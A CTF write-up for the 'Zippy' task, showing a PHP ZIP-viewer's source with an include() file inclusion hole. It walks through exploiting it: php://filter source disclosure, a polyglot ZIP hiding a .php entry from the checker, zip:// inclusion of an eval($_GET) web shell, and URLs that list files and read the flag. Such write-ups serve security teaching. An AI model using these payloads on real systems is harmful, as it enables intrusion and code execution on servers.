Below you can find my solution for Zippy task from Confidence Dragonsector CTF.
Task source code:
File: index.php
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>ZipExplorer</title>
<link rel="stylesheet" href="/assets/bootstrap.min.css" />
<script src="/assets/jquery.min.js"></script>
<script src="/assets/bootstrap.min.js"></script>
</head>
<body>
<div>
<div class="container">
<div class="row">
<div>
<nav class="navbar navbar-default">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">ZipExplorer</a>
</div>
<div class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li>
<a href="/?p=upload">Upload</a>
</li>
<li>
<a href="/?p=files">Your files</a>
</li>
</ul>
</div>
</div>
</nav>
<div>
<?php
session_start();
if (!isset($_SESSION['files'])) {
$_SESSION['files'] = array();
}
if (isset($_GET['p'])) {
$page = $_GET['p'];
} else {
$page = 'upload';
}
include($page . '.php');
?>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
File: upload.php
<?php
function zip_ok($path) {
return pclose(popen("./zipcheck " . escapeshellarg($path), "r")) == 0;
}
function random_id($len=40) {
return bin2hex(openssl_random_pseudo_bytes($len));
}
$fn = random_id() . '.zip';
$dst = './uploads/' . $fn;
if (isset($_FILES['zip'])) {
$name = $_FILES['zip']['name'];
$tmp = $_FILES['zip']['tmp_name'];
if (is_uploaded_file($tmp) && zip_ok($tmp) && move_uploaded_file($tmp, $dst)) {
array_push($_SESSION['files'], array('name' => $name, 'path' => $fn));
?>
<div class="alert alert-success alert-dismissible" role="alert">
Upload succesful! View <a href="?p=show&f=<?= $fn; ?>"><?= htmlspecialchars($name); ?></a>
</div>
<?php
} else {
?>
<div class="alert alert-danger alert-dismissible" role="alert">
Upload failed!
</div>
<?php
}
}
?>
<h2>Upload</h2>
<form enctype="multipart/form-data" class="form-horizontal" action="?p=upload" method="POST">
<div class="form-group">
<label for="zip" class="col-sm-2 control-label">Upload ZIP</label>
<div class="col-sm-3">
<input type="file" name="zip" id="zip" class="form-control">
</div>
</div>
<div class="form-group">
<div class="col-sm-3 col-sm-offset-2">
<button type="submit" class="btn btn-default">Upload</button>
</div>
</div>
</form>
File: files.php
<h2>Your files</h2>
<?php
if (count($_SESSION['files']) > 0) {
?>
<table class="table table-striped table-bordered table-condensed table-hover">
<thead>
<tr>
<td>No</td>
<td>File</td>
</tr>
</thead>
<tbody>
<?php
foreach ($_SESSION['files'] as $index => $file) {
?>
<tr>
<td>
<?= $index + 1; ?>
</td>
<td>
<a href="?p=show&f=<?= $file['path']; ?>"><?= htmlspecialchars($file['name']); ?></a>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
<?php
} else {
?>
<p>No uploaded files yet...</p>
<?php
}
?>
File: show.php
<?php
$uploads = './uploads/';
if (isset($_GET['f'])) {
$zip = new ZipArchive;
$res = $zip->open($uploads . $_GET['f']);
if ($res === TRUE) {
?>
<table class="table table-striped table-bordered table-condensed table-hover">
<thead>
<tr>
<td>No</td>
<td>Filename</td>
<td>Size</td>
<td>Size Compressed</td>
<td>CRC</td>
<td>Timestamp</td>
</tr>
</thead>
<tbody>
<?php
for ($i = 0; $i < $zip->numFiles; $i++) {
$entry = $zip->statIndex($i);
?>
<tr>
<td><?= $i+1; ?></td>
<td><?= htmlspecialchars($entry['name']); ?></td>
<td><?= $entry['size']; ?></td>
<td><?= $entry['comp_size']; ?></td>
<td><?= dechex($entry['crc']); ?></td>
<td><?= date(DATE_RFC2822, $entry['mtime']); ?></td>
</tr>
<?php
}
?>
</tbody>
</table>
<?php
$zip->close();
} else {
?>
<div class="alert alert-danger" role="alert">
Error opening file! Does it exist?
</div>
<?php
}
} else {
?>
<div class="alert alert-danger" role="alert">
Error opening file! Does it exist?
</div>
<?php
}
?>
How we get task source code? Because of include($page . '.php');
line we can download it using PHP wrapper http://task.url/?p=php://filter/convert.base64-encode/resource=file_to_download
.
We can upload any file and it’s checked by zipcheck
binary. Unfortunately we cannot download this binary and also we don’t have access to uploads
directory. After few tries we notice that uploaded file needs to be valid .zip
archive.
Also there couldn’t by any file with .php
extension inside this archive. Why we need .php
file inside archive? Because we can include it using another PHP wrapper: zip://our_uploaded_file.zip#php_file
.
Sadly we cannot combine two zip wrappers together like: zip://zip://first_file.zip#second_file.zip#php_file
. So we need to find a way to upload valid .zip
file which has one .php
file inside readably by zip://
wrapper and this name cannot be visible for zipcheck
binary. It’s possible because each zip extractor can treat stream differently.
For this task we use abstract.zip
from Gynvael Coldwind Ten Thousand Traps. You can download our final payload here. When you open this file inside WinRar or Total Commander only readme_EndFirst.txt
file is visible.
But when you open it using show.php
it displays readme_StartFirst.php
. Inside this file we have:
<?php
eval($_GET['dlc']);
?>
so we can execute any PHP command. Final solution looks like this:
// Print all files from dir
http://task.url/?p=zip://uploads/our_upoaded_file.zip%23readme_StartFirst&dlc=foreach (glob("*") as $a) print $a;
// Print flag file content
http://task.url/?p=zip://uploads/our_upoaded_file.zip%23readme_StartFirst&dlc=echo file_get_contents(%27flag_77d02e109e0580f44ea68643110c57e31af40e89.php%27);